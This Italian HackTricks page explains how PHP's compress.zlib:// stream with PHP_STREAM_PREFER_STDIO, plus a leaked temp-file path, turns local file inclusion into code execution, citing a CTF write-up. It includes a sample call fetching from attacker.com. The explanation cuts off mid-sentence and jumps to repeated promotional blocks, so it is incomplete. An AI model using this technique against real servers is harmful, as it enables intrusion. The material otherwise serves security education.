# LFI2RCE Via compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + Path Disclosure {% hint style="success" %} Impara e pratica l'Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Impara e pratica l'Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Supporta HackTricks * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)! * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
{% endhint %} #### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**. Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni. Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su: {% embed url="https://whiteintel.io" %} *** ### `compress.zlib://` e `PHP_STREAM_PREFER_STDIO` Un file aperto utilizzando il protocollo `compress.zlib://` con il flag `PHP_STREAM_PREFER_STDIO` può continuare a scrivere dati che arrivano alla connessione successivamente nello stesso file. Questo significa che una chiamata come: ```php file_get_contents("compress.zlib://http://attacker.com/file") ``` Invierà una richiesta chiedendo http://attacker.com/file, quindi il server potrebbe rispondere alla richiesta con una risposta HTTP valida, mantenere la connessione aperta e inviare dati extra qualche tempo dopo che verranno anch'essi scritti nel file. Puoi vedere queste informazioni in questa parte del codice php-src in main/streams/cast.c: ```c /* Use a tmpfile and copy the old streams contents into it */ if (flags & PHP_STREAM_PREFER_STDIO) { *newstream = php_stream_fopen_tmpfile(); } else { *newstream = php_stream_temp_new(); } ``` ### Condizione di Gara per RCE [**Questo CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) è stato risolto utilizzando il trucco precedente. L'attaccante farà in modo che il **server vittima apra una connessione leggendo un file dal server dell'attaccante** utilizzando il protocollo **`compress.zlib`**. **Mentre** questa **connessione** esiste, l'attaccante **esfiltrerà il percorso** del file temporaneo creato (è rivelato dal server). **Mentre** la **connessione** è ancora aperta, l'attaccante **sfrutterà un LFI caricando il file temporaneo** che controlla. Tuttavia, c'è un controllo nel server web che **impedisce il caricamento di file che contengono `
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**. Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni. Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su: {% embed url="https://whiteintel.io" %} {% hint style="success" %} Impara e pratica Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Impara e pratica Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Supporta HackTricks * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)! * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
{% endhint %}